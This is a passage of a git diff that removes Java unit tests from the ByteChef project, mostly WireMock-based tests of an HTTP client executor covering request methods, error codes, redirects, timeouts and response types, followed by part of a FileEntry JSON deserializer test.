-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/xml",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                null,
-                configuration,
-                RequestMethod.GET,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(200, response.getStatusCode());
-        }
-
-        @Test
-        @DisplayName("Should execute GET request and return binary response")
-        void testGetRequestWithBinaryResponse() throws Exception {
-            byte[] binaryData = new byte[] {
-                0x00, 0x01, 0x02, 0x03
-            };
-
-            stubFor(get(urlPathEqualTo("/api/binary"))
-                .willReturn(ok()
-                    .withHeader("Content-Type", "application/octet-stream")
-                    .withBody(binaryData)));
-
-            FileEntry mockFileEntry = mock(FileEntry.class);
-
-            when(mockFileEntry.getName()).thenReturn("binary.dat");
-            when(mockFileEntry.getMimeType()).thenReturn("application/octet-stream");
-            when(mockFileEntry.getUrl()).thenReturn("file:///tmp/binary.dat");
-
-            when(tempFileStorage.storeFileContent(
-                ArgumentMatchers.anyString(),
-                ArgumentMatchers.any(InputStream.class)))
-                    .thenReturn(mockFileEntry);
-
-            Configuration configuration = Http.responseType(Http.ResponseType.BINARY)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/binary",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                null,
-                configuration,
-                RequestMethod.GET,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(200, response.getStatusCode());
-        }
-    }
-
-    @Nested
-    @DisplayName("POST Request Tests")
-    class PostRequestTests {
-
-        @Test
-        @DisplayName("Should execute POST request with JSON body")
-        void testPostRequestWithJsonBody() throws Exception {
-            String requestBody = "{\"name\":\"Test\",\"value\":123}";
-            String responseBody = "{\"id\": 1, \"created\": true}";
-
-            stubFor(post(urlPathEqualTo("/api/create"))
-                .withRequestBody(equalToJson(requestBody))
-                .willReturn(ok()
-                    .withHeader("Content-Type", "application/json")
-                    .withBody(responseBody)));
-
-            Map<String, Object> bodyContent = new HashMap<>();
-            bodyContent.put("name", "Test");
-            bodyContent.put("value", 123);
-
-            Body body = Http.Body.of(bodyContent, Http.BodyContentType.JSON);
-
-            Configuration configuration = Http.responseType(Http.ResponseType.JSON)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/create",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                body,
-                configuration,
-                RequestMethod.POST,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(200, response.getStatusCode());
-
-            @SuppressWarnings("unchecked")
-            Map<String, Object> responseMap = (Map<String, Object>) response.getBody();
-
-            assertEquals(1, responseMap.get("id"));
-            assertEquals(true, responseMap.get("created"));
-        }
-
-        @SuppressFBWarnings("HARD_CODE_PASSWORD")
-        @Test
-        @DisplayName("Should execute POST request with form URL encoded body")
-        void testPostRequestWithFormUrlEncodedBody() throws Exception {
-            stubFor(post(urlPathEqualTo("/api/form"))
-                .withHeader("Content-Type", containing("application/x-www-form-urlencoded"))
-                .willReturn(ok()
-                    .withHeader("Content-Type", "application/json")
-                    .withBody("{\"received\": true}")));
-
-            Map<String, Object> formData = new HashMap<>();
-            formData.put("username", "testuser");
-            formData.put("password", "testpassword");
-
-            Body body = Http.Body.of(formData, Http.BodyContentType.FORM_URL_ENCODED);
-
-            Configuration configuration = Http.responseType(Http.ResponseType.JSON)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/form",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                body,
-                configuration,
-                RequestMethod.POST,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(200, response.getStatusCode());
-        }
-
-        @Test
-        @DisplayName("Should execute POST request with XML body")
-        void testPostRequestWithXmlBody() throws Exception {
-            stubFor(post(urlPathEqualTo("/api/xml"))
-                .withHeader("Content-Type", containing("application/xml"))
-                .willReturn(ok()
-                    .withHeader("Content-Type", "application/xml")
-                    .withBody("<response><status>ok</status></response>")));
-
-            Map<String, Object> xmlContent = new HashMap<>();
-            xmlContent.put("name", "Test");
-
-            Body body = Http.Body.of(xmlContent, Http.BodyContentType.XML);
-
-            Configuration configuration = Http.responseType(Http.ResponseType.XML)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/xml",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                body,
-                configuration,
-                RequestMethod.POST,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(200, response.getStatusCode());
-        }
-
-        @Test
-        @DisplayName("Should execute POST request without body")
-        void testPostRequestWithoutBody() throws Exception {
-            stubFor(post(urlPathEqualTo("/api/trigger"))
-                .willReturn(ok()
-                    .withHeader("Content-Type", "application/json")
-                    .withBody("{\"triggered\": true}")));
-
-            Configuration configuration = Http.responseType(Http.ResponseType.JSON)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/trigger",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                null,
-                configuration,
-                RequestMethod.POST,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(200, response.getStatusCode());
-        }
-    }
-
-    @Nested
-    @DisplayName("PUT Request Tests")
-    class PutRequestTests {
-
-        @Test
-        @DisplayName("Should execute PUT request with JSON body")
-        void testPutRequestWithJsonBody() throws Exception {
-            String responseBody = "{\"updated\": true}";
-
-            stubFor(put(urlPathEqualTo("/api/update/1"))
-                .willReturn(ok()
-                    .withHeader("Content-Type", "application/json")
-                    .withBody(responseBody)));
-
-            Map<String, Object> bodyContent = new HashMap<>();
-            bodyContent.put("name", "Updated Name");
-
-            Body body = Http.Body.of(bodyContent, Http.BodyContentType.JSON);
-
-            Configuration configuration = Http.responseType(Http.ResponseType.JSON)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/update/1",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                body,
-                configuration,
-                RequestMethod.PUT,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(200, response.getStatusCode());
-        }
-    }
-
-    @Nested
-    @DisplayName("PATCH Request Tests")
-    class PatchRequestTests {
-
-        @Test
-        @DisplayName("Should execute PATCH request with JSON body")
-        void testPatchRequestWithJsonBody() throws Exception {
-            String responseBody = "{\"patched\": true}";
-
-            stubFor(patch(urlPathEqualTo("/api/patch/1"))
-                .willReturn(ok()
-                    .withHeader("Content-Type", "application/json")
-                    .withBody(responseBody)));
-
-            Map<String, Object> bodyContent = new HashMap<>();
-            bodyContent.put("field", "newValue");
-
-            Body body = Http.Body.of(bodyContent, Http.BodyContentType.JSON);
-
-            Configuration configuration = Http.responseType(Http.ResponseType.JSON)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/patch/1",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                body,
-                configuration,
-                RequestMethod.PATCH,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(200, response.getStatusCode());
-        }
-    }
-
-    @Nested
-    @DisplayName("DELETE Request Tests")
-    class DeleteRequestTests {
-
-        @Test
-        @DisplayName("Should execute DELETE request")
-        void testDeleteRequest() throws Exception {
-            stubFor(delete(urlPathEqualTo("/api/delete/1"))
-                .willReturn(ok()));
-
-            Configuration configuration = Http.responseType(Http.ResponseType.JSON)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/delete/1",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                null,
-                configuration,
-                RequestMethod.DELETE,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(200, response.getStatusCode());
-        }
-
-        @Test
-        @DisplayName("Should execute DELETE request with body")
-        void testDeleteRequestWithBody() throws Exception {
-            stubFor(delete(urlPathEqualTo("/api/delete"))
-                .willReturn(ok()
-                    .withHeader("Content-Type", "application/json")
-                    .withBody("{\"deleted\": true}")));
-
-            Map<String, Object> bodyContent = new HashMap<>();
-            bodyContent.put("ids", List.of(1, 2, 3));
-
-            Body body = Http.Body.of(bodyContent, Http.BodyContentType.JSON);
-
-            Configuration configuration = Http.responseType(Http.ResponseType.JSON)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/delete",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                body,
-                configuration,
-                RequestMethod.DELETE,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(200, response.getStatusCode());
-        }
-    }
-
-    @Nested
-    @DisplayName("Error Response Tests")
-    class ErrorResponseTests {
-
-        @Test
-        @DisplayName("Should handle 400 Bad Request response")
-        void testBadRequestResponse() throws Exception {
-            stubFor(get(urlPathEqualTo("/api/bad-request"))
-                .willReturn(aResponse()
-                    .withStatus(400)
-                    .withHeader("Content-Type", "application/json")
-                    .withBody("{\"error\": \"Bad Request\"}")));
-
-            Configuration configuration = Http.responseType(Http.ResponseType.JSON)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/bad-request",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                null,
-                configuration,
-                RequestMethod.GET,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(400, response.getStatusCode());
-        }
-
-        @Test
-        @DisplayName("Should handle 401 Unauthorized response")
-        void testUnauthorizedResponse() throws Exception {
-            stubFor(get(urlPathEqualTo("/api/unauthorized"))
-                .willReturn(aResponse()
-                    .withStatus(401)
-                    .withHeader("Content-Type", "application/json")
-                    .withBody("{\"error\": \"Unauthorized\"}")));
-
-            Configuration configuration = Http.responseType(Http.ResponseType.JSON)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/unauthorized",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                null,
-                configuration,
-                RequestMethod.GET,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(401, response.getStatusCode());
-        }
-
-        @Test
-        @DisplayName("Should handle 404 Not Found response")
-        void testNotFoundResponse() throws Exception {
-            stubFor(get(urlPathEqualTo("/api/not-found"))
-                .willReturn(aResponse()
-                    .withStatus(404)
-                    .withHeader("Content-Type", "application/json")
-                    .withBody("{\"error\": \"Not Found\"}")));
-
-            Configuration configuration = Http.responseType(Http.ResponseType.JSON)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/not-found",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                null,
-                configuration,
-                RequestMethod.GET,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(404, response.getStatusCode());
-        }
-
-        @Test
-        @DisplayName("Should handle 500 Internal Server Error response")
-        void testInternalServerErrorResponse() throws Exception {
-            stubFor(get(urlPathEqualTo("/api/server-error"))
-                .willReturn(aResponse()
-                    .withStatus(500)
-                    .withHeader("Content-Type", "application/json")
-                    .withBody("{\"error\": \"Internal Server Error\"}")));
-
-            Configuration configuration = Http.responseType(Http.ResponseType.JSON)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/server-error",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                null,
-                configuration,
-                RequestMethod.GET,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(500, response.getStatusCode());
-        }
-
-        @Test
-        @DisplayName("Should handle 204 No Content response")
-        void testNoContentResponse() throws Exception {
-            stubFor(delete(urlPathEqualTo("/api/no-content"))
-                .willReturn(aResponse()
-                    .withStatus(204)));
-
-            Configuration configuration = Http.responseType(Http.ResponseType.JSON)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/no-content",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                null,
-                configuration,
-                RequestMethod.DELETE,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(204, response.getStatusCode());
-        }
-    }
-
-    @Nested
-    @DisplayName("Response Headers Tests")
-    class ResponseHeadersTests {
-
-        @Test
-        @DisplayName("Should capture response headers")
-        void testResponseHeaders() throws Exception {
-            stubFor(get(urlPathEqualTo("/api/with-headers"))
-                .willReturn(ok()
-                    .withHeader("Content-Type", "application/json")
-                    .withHeader("X-Custom-Header", "custom-value")
-                    .withHeader("X-Request-Id", "12345")
-                    .withBody("{\"status\": \"ok\"}")));
-
-            Configuration configuration = Http.responseType(Http.ResponseType.JSON)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/with-headers",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                null,
-                configuration,
-                RequestMethod.GET,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(200, response.getStatusCode());
-
-            Map<String, List<String>> headers = response.getHeaders();
-
-            assertNotNull(headers);
-            assertTrue(headers.containsKey("X-Custom-Header") || headers.containsKey("x-custom-header"));
-        }
-    }
-
-    @Nested
-    @DisplayName("Configuration Options Tests")
-    class ConfigurationOptionsTests {
-
-        @Test
-        @DisplayName("Should follow redirects when configured")
-        void testFollowRedirects() throws Exception {
-            stubFor(get(urlPathEqualTo("/api/redirect"))
-                .willReturn(aResponse()
-                    .withStatus(302)
-                    .withHeader("Location", baseUrl + "/api/final")));
-
-            stubFor(get(urlPathEqualTo("/api/final"))
-                .willReturn(ok()
-                    .withHeader("Content-Type", "application/json")
-                    .withBody("{\"redirected\": true}")));
-
-            Configuration configuration = Http.responseType(Http.ResponseType.JSON)
-                .followRedirect(true)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/redirect",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                null,
-                configuration,
-                RequestMethod.GET,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(200, response.getStatusCode());
-        }
-
-        @Test
-        @DisplayName("Should not follow redirects when not configured")
-        void testNoRedirectFollow() throws Exception {
-            stubFor(get(urlPathEqualTo("/api/redirect-no-follow"))
-                .willReturn(aResponse()
-                    .withStatus(302)
-                    .withHeader("Location", baseUrl + "/api/final")));
-
-            Configuration configuration = Http.responseType(Http.ResponseType.JSON)
-                .followRedirect(false)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/redirect-no-follow",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                null,
-                configuration,
-                RequestMethod.GET,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(302, response.getStatusCode());
-        }
-
-        @Test
-        @DisplayName("Should disable authorization when configured")
-        void testDisableAuthorization() throws Exception {
-            stubFor(get(urlPathEqualTo("/api/no-auth"))
-                .willReturn(ok()
-                    .withHeader("Content-Type", "application/json")
-                    .withBody("{\"status\": \"ok\"}")));
-
-            ComponentConnection connection = new ComponentConnection(
-                "testComponent",
-                1,
-                1L,
-                Map.of("token", "secret-token"),
-                AuthorizationType.BEARER_TOKEN);
-
-            Configuration configuration = Http.responseType(Http.ResponseType.JSON)
-                .disableAuthorization(true)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/no-auth",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                null,
-                configuration,
-                RequestMethod.GET,
-                "testComponent",
-                1,
-                null,
-                connection,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(200, response.getStatusCode());
-        }
-    }
-
-    @Nested
-    @DisplayName("Multiple Query Parameter Values Tests")
-    class MultipleQueryParameterValuesTests {
-
-        @Test
-        @DisplayName("Should handle multiple values for same query parameter")
-        void testMultipleQueryParameterValues() throws Exception {
-            stubFor(get(urlPathEqualTo("/api/multi-query"))
-                .withQueryParam("status", equalTo("active"))
-                .willReturn(ok()
-                    .withHeader("Content-Type", "application/json")
-                    .withBody("{\"results\": []}")));
-
-            Map<String, List<String>> queryParameters = Map.of(
-                "status", List.of("active", "pending"));
-
-            Configuration configuration = Http.responseType(Http.ResponseType.JSON)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/multi-query",
-                Collections.emptyMap(),
-                queryParameters,
-                null,
-                configuration,
-                RequestMethod.GET,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(200, response.getStatusCode());
-        }
-    }
-
-    @Nested
-    @DisplayName("Binary Response Tests")
-    class BinaryResponseTests {
-
-        @Test
-        @DisplayName("Should handle binary response with content-disposition header")
-        void testBinaryResponseWithContentDisposition() throws Exception {
-            byte[] pngData = new byte[] {
-                (byte) 0x89, 0x50, 0x4E, 0x47
-            };
-
-            stubFor(get(urlPathEqualTo("/api/download"))
-                .willReturn(ok()
-                    .withHeader("Content-Type", "image/png")
-                    .withHeader("Content-Disposition", "attachment; filename=\"image.png\"")
-                    .withBody(pngData)));
-
-            FileEntry mockFileEntry = mock(FileEntry.class);
-
-            when(mockFileEntry.getName()).thenReturn("image.png");
-            when(mockFileEntry.getMimeType()).thenReturn("image/png");
-            when(mockFileEntry.getUrl()).thenReturn("file:///tmp/image.png");
-
-            when(tempFileStorage.storeFileContent(
-                ArgumentMatchers.eq("image.png"),
-                ArgumentMatchers.any(InputStream.class)))
-                    .thenReturn(mockFileEntry);
-
-            Configuration configuration = Http.responseType(Http.ResponseType.BINARY)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/download",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                null,
-                configuration,
-                RequestMethod.GET,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(200, response.getStatusCode());
-        }
-    }
-
-    @Nested
-    @DisplayName("HEAD Request Tests")
-    class HeadRequestTests {
-
-        @Test
-        @DisplayName("Should execute HEAD request")
-        void testHeadRequest() throws Exception {
-            stubFor(head(urlPathEqualTo("/api/head-test"))
-                .willReturn(ok()
-                    .withHeader("Content-Type", "application/json")
-                    .withHeader("Content-Length", "100")));
-
-            Configuration configuration = Http.responseType(Http.ResponseType.JSON)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/head-test",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                null,
-                configuration,
-                RequestMethod.HEAD,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(200, response.getStatusCode());
-        }
-    }
-
-    @Nested
-    @DisplayName("Content Type Handling Tests")
-    class ContentTypeHandlingTests {
-
-        @Test
-        @DisplayName("Should handle JSON content type with charset")
-        void testJsonContentTypeWithCharset() throws Exception {
-            stubFor(get(urlPathEqualTo("/api/json-charset"))
-                .willReturn(ok()
-                    .withHeader("Content-Type", "application/json; charset=utf-8")
-                    .withBody("{\"message\": \"Hello\"}")));
-
-            Configuration configuration = Http.responseType(Http.ResponseType.JSON)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/json-charset",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                null,
-                configuration,
-                RequestMethod.GET,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(200, response.getStatusCode());
-        }
-
-        @Test
-        @DisplayName("Should handle vendor-specific JSON content type")
-        void testVendorSpecificJsonContentType() throws Exception {
-            stubFor(get(urlPathEqualTo("/api/vendor-json"))
-                .willReturn(ok()
-                    .withHeader("Content-Type", "application/vnd.api+json")
-                    .withBody("{\"data\": []}")));
-
-            Configuration configuration = Http.responseType(Http.ResponseType.JSON)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/vendor-json",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                null,
-                configuration,
-                RequestMethod.GET,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(200, response.getStatusCode());
-        }
-    }
-
-    @Nested
-    @DisplayName("Timeout Tests")
-    class TimeoutTests {
-
-        @Test
-        @DisplayName("Should use configured timeout")
-        void testConfiguredTimeout() throws Exception {
-            stubFor(get(urlPathEqualTo("/api/slow"))
-                .willReturn(ok()
-                    .withFixedDelay(100)
-                    .withHeader("Content-Type", "application/json")
-                    .withBody("{\"status\": \"ok\"}")));
-
-            Configuration configuration = Http.responseType(Http.ResponseType.JSON)
-                .timeout(Duration.ofMillis(5000))
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/slow",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                null,
-                configuration,
-                RequestMethod.GET,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(200, response.getStatusCode());
-        }
-    }
-
-    @Nested
-    @DisplayName("Empty Response Tests")
-    class EmptyResponseTests {
-
-        @Test
-        @DisplayName("Should handle empty JSON response body")
-        void testEmptyJsonResponse() throws Exception {
-            stubFor(get(urlPathEqualTo("/api/empty"))
-                .willReturn(ok()
-                    .withHeader("Content-Type", "application/json")
-                    .withBody("")));
-
-            Configuration configuration = Http.responseType(Http.ResponseType.JSON)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/empty",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                null,
-                configuration,
-                RequestMethod.GET,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(200, response.getStatusCode());
-        }
-
-        @Test
-        @DisplayName("Should handle whitespace-only response body")
-        void testWhitespaceOnlyResponse() throws Exception {
-            stubFor(get(urlPathEqualTo("/api/whitespace"))
-                .willReturn(ok()
-                    .withHeader("Content-Type", "text/plain")
-                    .withBody("   ")));
-
-            Configuration configuration = Http.responseType(Http.ResponseType.TEXT)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/whitespace",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                null,
-                configuration,
-                RequestMethod.GET,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(200, response.getStatusCode());
-        }
-    }
-
-    @Nested
-    @DisplayName("Array Response Tests")
-    class ArrayResponseTests {
-
-        @Test
-        @DisplayName("Should handle JSON array response")
-        void testJsonArrayResponse() throws Exception {
-            stubFor(get(urlPathEqualTo("/api/array"))
-                .willReturn(ok()
-                    .withHeader("Content-Type", "application/json")
-                    .withBody("[{\"id\": 1}, {\"id\": 2}, {\"id\": 3}]")));
-
-            Configuration configuration = Http.responseType(Http.ResponseType.JSON)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/array",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                null,
-                configuration,
-                RequestMethod.GET,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(200, response.getStatusCode());
-            assertInstanceOf(List.class, response.getBody());
-
-            @SuppressWarnings("unchecked")
-            List<Map<String, Object>> bodyList = (List<Map<String, Object>>) response.getBody();
-
-            assertEquals(3, bodyList.size());
-        }
-    }
-
-    @Nested
-    @DisplayName("Unicode Content Tests")
-    class UnicodeContentTests {
-
-        @Test
-        @DisplayName("Should handle Unicode characters in response")
-        void testUnicodeResponse() throws Exception {
-            String unicodeBody = "{\"message\": \"Hello, 世界! 🌍\"}";
-
-            stubFor(get(urlPathEqualTo("/api/unicode"))
-                .willReturn(ok()
-                    .withHeader("Content-Type", "application/json; charset=utf-8")
-                    .withBody(unicodeBody.getBytes(StandardCharsets.UTF_8))));
-
-            Configuration configuration = Http.responseType(Http.ResponseType.JSON)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/unicode",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                null,
-                configuration,
-                RequestMethod.GET,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(200, response.getStatusCode());
-
-            @SuppressWarnings("unchecked")
-            Map<String, Object> body = (Map<String, Object>) response.getBody();
-
-            assertTrue(body.get("message")
-                .toString()
-                .contains("世界"));
-        }
-    }
-
-    @Nested
-    @DisplayName("Large Response Tests")
-    class LargeResponseTests {
-
-        @Test
-        @DisplayName("Should handle large JSON response")
-        void testLargeJsonResponse() throws Exception {
-            StringBuilder largeJson = new StringBuilder("{\"items\": [");
-
-            for (int i = 0; i < 1000; i++) {
-                if (i > 0) {
-                    largeJson.append(",");
-                }
-
-                largeJson.append("{\"id\": ")
-                    .append(i)
-                    .append(", \"name\": \"Item ")
-                    .append(i)
-                    .append("\"}");
-            }
-
-            largeJson.append("]}");
-
-            stubFor(get(urlPathEqualTo("/api/large"))
-                .willReturn(ok()
-                    .withHeader("Content-Type", "application/json")
-                    .withBody(largeJson.toString())));
-
-            Configuration configuration = Http.responseType(Http.ResponseType.JSON)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/large",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                null,
-                configuration,
-                RequestMethod.GET,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(200, response.getStatusCode());
-
-            @SuppressWarnings("unchecked")
-            Map<String, Object> body = (Map<String, Object>) response.getBody();
-
-            @SuppressWarnings("unchecked")
-            List<Object> items = (List<Object>) body.get("items");
-
-            assertEquals(1000, items.size());
-        }
-    }
-}
diff --git a/server/libs/platform/platform-component/platform-component-context/platform-component-context-service/src/test/java/com/bytechef/platform/component/context/jackson/FileEntryDeserializerTest.java b/server/libs/platform/platform-component/platform-component-context/platform-component-context-service/src/test/java/com/bytechef/platform/component/context/jackson/FileEntryDeserializerTest.java
deleted file mode 100644
index e7dd3af3897..00000000000
--- a/server/libs/platform/platform-component/platform-component-context/platform-component-context-service/src/test/java/com/bytechef/platform/component/context/jackson/FileEntryDeserializerTest.java
+++ /dev/null
@@ -1,149 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.component.context.jackson;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.junit.jupiter.api.Assertions.assertNull;
-import static org.junit.jupiter.api.Assertions.assertThrows;
-
-import com.bytechef.component.definition.FileEntry;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import tools.jackson.databind.ObjectMapper;
-import tools.jackson.databind.json.JsonMapper;
-import tools.jackson.databind.module.SimpleModule;
-
-/**
- * @author Ivica Cardic
- */
-class FileEntryDeserializerTest {
-
-    private ObjectMapper objectMapper;
-
-    @BeforeEach
-    void setUp() {
-        SimpleModule module = new SimpleModule();
-
-        module.addDeserializer(FileEntry.class, new FileEntryDeserializer());
-
-        objectMapper = JsonMapper.builder()
-            .addModule(module)
-            .build();
-    }
-
-    @Test
-    void testDeserializeWithAllFields() throws Exception {
-        String json = """
-            {
-                "name": "test-file.csv",
-                "url": "https://example.com/files/test-file.csv",
-                "extension": "csv",
-                "mimeType": "text/csv"
-            }
-            """;
-
-        FileEntry fileEntry = objectMapper.readValue(json, FileEntry.class);
-
-        assertNotNull(fileEntry);
-        assertEquals("test-file.csv", fileEntry.getName());
-        assertEquals("https://example.com/files/test-file.csv", fileEntry.getUrl());
-        assertEquals("csv", fileEntry.getExtension());
-        assertEquals("text/csv", fileEntry.getMimeType());
-    }
-
-    @Test
-    void testDeserializeWithRequiredFieldsOnly() throws Exception {
-        String json = """
-            {
-                "name": "document.pdf",
-                "url": "file:///tmp/document.pdf"
-            }
-            """;
-
-        FileEntry fileEntry = objectMapper.readValue(json, FileEntry.class);
-
-        assertNotNull(fileEntry);
-        assertEquals("document.pdf", fileEntry.getName());
-        assertEquals("file:///tmp/document.pdf", fileEntry.getUrl());
-        assertNull(fileEntry.getExtension());
-        assertNull(fileEntry.getMimeType());
-    }
-
-    @Test
-    void testDeserializeWithMissingNameThrowsException() {
-        String json = """
-            {
-                "url": "https://example.com/files/test.txt",
-                "extension": "txt"
-            }
-            """;
-
-        assertThrows(IllegalArgumentException.class, () -> objectMapper.readValue(json, FileEntry.class));
-    }
-
-    @Test
-    void testDeserializeWithMissingUrlThrowsException() {
-        String json = """
-            {
-                "name": "test-file.csv",
-                "extension": "csv"
-            }
-            """;
-
-        assertThrows(IllegalArgumentException.class, () -> objectMapper.readValue(json, FileEntry.class));
-    }
-
-    @Test
-    void testDeserializeWithEmptyObjectThrowsException() {
-        String json = "{}";
-
-        assertThrows(IllegalArgumentException.class, () -> objectMapper.readValue(json, FileEntry.class));
-    }
-
-    @Test
-    void testDeserializeWithNullNameFieldTreatsAsEmptyString() throws Exception {
-        String json = """
-            {
-                "name": null,
-                "url": "https://example.com/file.txt"
-            }
-            """;
-
-        FileEntry fileEntry = objectMapper.readValue(json, FileEntry.class);
-
-        assertNotNull(fileEntry);
-        assertEquals("", fileEntry.getName());
